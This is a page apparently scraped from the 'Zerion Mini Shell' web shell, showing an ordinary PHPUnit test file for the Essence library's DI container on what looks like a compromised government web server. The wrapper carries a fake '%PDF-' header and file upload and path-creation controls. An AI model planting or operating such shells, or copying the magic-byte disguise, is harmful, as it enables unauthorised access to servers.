%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/cursos.tjamich.gob.mx/vendor/essence/essence/tests/Essence/Di/
Upload File :
Create Path :
Current File : /home/tjamichg/cursos.tjamich.gob.mx/vendor/essence/essence/tests/Essence/Di/ContainerTest.php

<?php

/**
 *	@author Félix Girault <felix.girault@gmail.com>
 *	@license FreeBSD License (http://opensource.org/licenses/BSD-2-Clause)
 */

namespace Essence\Di;

use PHPUnit_Framework_TestCase;



/**
 *
 */

class Containable { }



/**
 *	Test case for Container.
 */

class ContainerTest extends PHPUnit_Framework_TestCase {

	/**
	 *
	 */

	public $Container = null;



	/**
	 *
	 */

	public function setUp( ) {

		$this->Container = new Container( );
	}



	/**
	 *
	 */

	public function testGet( ) {

		$this->Container->set( 'integer', 12 );
		$this->assertEquals( 12, $this->Container->get( 'integer' ));
	}



	/**
	 *
	 */

	public function testGetClosureResult( ) {

		$this->Container->set( 'Containable', function( $Container ) {
			return new Containable( );
		});

		$this->assertEquals( new Containable( ), $this->Container->get( 'Containable' ));
		$this->assertNotSame( new Containable( ), $this->Container->get( 'Containable' ));
	}



	/**
	 *
	 */

	public function testGetUnique( ) {

		$unique = Container::unique( function( $Container ) {
			return new Containable( );
		});

		$first = $unique( $this->Container );
		$second = $unique( $this->Container );

		$this->assertSame( $first, $second );
	}
}

Zerion Mini Shell 1.0